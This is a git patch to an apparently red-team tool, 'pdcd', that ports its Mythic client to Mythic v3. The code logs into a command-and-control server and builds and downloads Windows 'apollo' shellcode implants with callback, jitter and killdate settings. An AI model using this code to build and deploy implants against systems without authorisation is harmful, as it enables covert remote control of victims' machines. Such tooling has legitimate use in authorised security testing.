From acea3e9a90457d9c765b5adce8b286c4e181f28f Mon Sep 17 00:00:00 2001 From: 2XXE-SRA <40869774+2XXE-SRA@users.noreply.github.com> Date: Thu, 11 May 2023 10:05:46 -0700 Subject: [PATCH] mythic v3 changes --- CHANGELOG.md | 6 ++ ...ne-any.whl => pdcd-1.1.0-py3-none-any.whl} | Bin 24815 -> 24591 bytes pdcd/external.py | 99 ++++++++---------- pyproject.toml | 4 +- 4 files changed, 53 insertions(+), 56 deletions(-) rename dist/{pdcd-1.0.2-py3-none-any.whl => pdcd-1.1.0-py3-none-any.whl} (61%) diff --git a/CHANGELOG.md b/CHANGELOG.md index e490664..8030aa0 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,11 @@ *** +# Version 1.1.0 - May 2023 + +- Updated `MythicClient` to support Mythic v3.0.0 (and only Mythic v3.0.0+) + +*** + # Version 1.0.2 - March 2023 - Bug fix in log subcommand diff --git a/dist/pdcd-1.0.2-py3-none-any.whl b/dist/pdcd-1.1.0-py3-none-any.whl similarity index 61% rename from dist/pdcd-1.0.2-py3-none-any.whl rename to dist/pdcd-1.1.0-py3-none-any.whl index a15c1d1f32247145425756c25e083b7d8326badd..ec9a4dfaffa17720d649205f500275a1d201f3b8 100644 GIT binary patch delta 8026 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 Zlly;M5C3J08UHKyp(PDcyxD)k{|_*mitzvd diff --git a/pdcd/external.py b/pdcd/external.py index 76dbab5..8eb14d2 100644 --- a/pdcd/external.py +++ b/pdcd/external.py @@ -9,10 +9,8 @@ import json from dataclasses import dataclass, field from typing import Optional, TYPE_CHECKING, Tuple -from mythic import mythic_rest +import mythic.mythic as mythic_sdk import asyncio -import os -import contextlib from abc import ABC, abstractmethod import base64 from functools import lru_cache @@ -199,66 +197,59 @@ def resolve_token(self, token: str, file_dir: str, connector_name: str, **kwargs @lru_cache(maxsize=None) def export_shellcode(self, profile: str, scformat: str = "Shellcode") -> Shellcode: - # redirecting to stdout in this method is used to suppress print statements from the - # "mythic" library as it uses print statements instead of warnings for notices - with open(os.devnull, "w") as devnull: - with contextlib.redirect_stdout(devnull): - mythic = mythic_rest.Mythic( - username=self.__user, - password=self.__password, - server_ip=self.__host, - server_port=self.__port, - ssl=True, - global_timeout=-1, - ) - asyncio.run(mythic.login()) - asyncio.run(mythic.set_or_create_apitoken()) + mythic = asyncio.run(mythic_sdk.login( + username=self.__user, + password=self.__password, + server_ip=self.__host, + server_port=int(self.__port), + ssl=True, + timeout=-1, + )) # mythic payload settings are defined per payload rather than per listener, # meaning you need to provide them via this tool # default values are provided here but some can be overridden via env vars if profile.lower() == "smb": - build_vars = [ - {"name": "pipename", "value": global_settings.mythic_smb_pipename}, - {"name": "killdate", "value": "2030-10-12"}, - {"name": "encrypted_exchange_check", "value": "T"}, - ] + build_vars = { + "pipename": global_settings.mythic_smb_pipename, + "killdate": "2030-10-12", + "encrypted_exchange_check": "T" + } else: - build_vars = [ - {"name": "callback_host", "value": self.__callback_url}, - {"name": "callback_interval", "value": global_settings.mythic_callback_interval}, - {"name": "c2_profile", "value": profile.lower()}, - {"name": "AESPSK", "value": "aes256_hmac"}, - {"name": "get_uri", "value": global_settings.mythic_http_geturi}, - {"name": "post_uri", "value": global_settings.mythic_http_posturi}, - {"name": "query_path_name", "value": global_settings.mythic_http_queryuri}, - {"name": "proxy_host", "value": ""}, - {"name": "proxy_port", "value": ""}, - {"name": "proxy_user", "value": ""}, - {"name": "proxy_pass", "value": ""}, - {"name": "callback_port", "value": self.__callback_port}, - {"name": "killdate", "value": "2030-10-12"}, - {"name": "encrypted_exchange_check", "value": "T"}, - {"name": "callback_jitter", "value": global_settings.mythic_jitter_percent}, - {"name": "headers", "value": global_settings.mythic_http_useragent}, - ] - - mythic_payload = mythic_rest.Payload( + build_vars = { + "callback_host": self.__callback_url, + "callback_interval": global_settings.mythic_callback_interval, + "c2_profile": profile.lower(), + "AESPSK": "aes256_hmac", + "get_uri": global_settings.mythic_http_geturi, + "post_uri": global_settings.mythic_http_posturi, + "query_path_name": global_settings.mythic_http_queryuri, + "proxy_host": "", + "proxy_port": "", + "proxy_user": "", + "proxy_pass": "", + "callback_port": self.__callback_port, + "killdate": "2030-10-12", + "encrypted_exchange_check": True, + "callback_jitter": global_settings.mythic_jitter_percent, + "headers": {"User-Agent": global_settings.mythic_http_useragent} + } + + payload = asyncio.run(mythic_sdk.create_payload( # TODO: currently hardcoded but should make configurable # this will require different configs for different payloads - payload_type="apollo", - c2_profiles={profile.lower(): build_vars}, - build_parameters=[{"name": "version", "value": 1.0}, {"name": "output_type", "value": scformat}], - tag="Built with PDCD", - selected_os="Windows", + mythic=mythic, + payload_type_name="apollo", + operating_system="Windows", + c2_profiles=[{"c2_profile": profile.lower(), "c2_profile_parameters": build_vars}], + build_parameters=[{"name": "output_type", "value": scformat}], + description="Built with PDCD", filename="pdcd", - ) - resp = asyncio.run(mythic.create_payload(mythic_payload, all_commands=True, wait_for_build=True)) - if resp.status == "error": - raise Exception(f"Error when generating Mythic payload: Error: {resp.response.get('error', '')}") - payload_contents = asyncio.run(mythic.download_payload(resp.response)) - # cannot delete payloads as mythic does not allow spawning from dead payloads - # asyncio.run(mythic.remove_payload(resp.response)) + return_on_complete=True, + include_all_commands=True + )) + payload_contents = asyncio.run(mythic_sdk.download_payload(mythic=mythic, payload_uuid=payload.get("uuid"))) + # note: cannot delete payloads as mythic does not allow spawning from dead payloads if len(payload_contents) == 0: raise Exception(f"Shellcode is empty") return Shellcode(shellcode=payload_contents) diff --git a/pyproject.toml b/pyproject.toml index edc28ea..81dc82f 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "pdcd" -version = "1.0.2" +version = "1.1.0" description = "Tool that orchestrates executing Docker containers to build payloads" authors = ["2XXE "] readme = "README.md" @@ -14,7 +14,7 @@ PyYAML = "^5.4.1" boto3 = "^1.24.54" impacket = "^0.10.0" click = "^8.1.3" -mythic = "^0.0.38" +mythic = "^0.1.0" pydantic = "^1.10.5" [tool.poetry.dev-dependencies]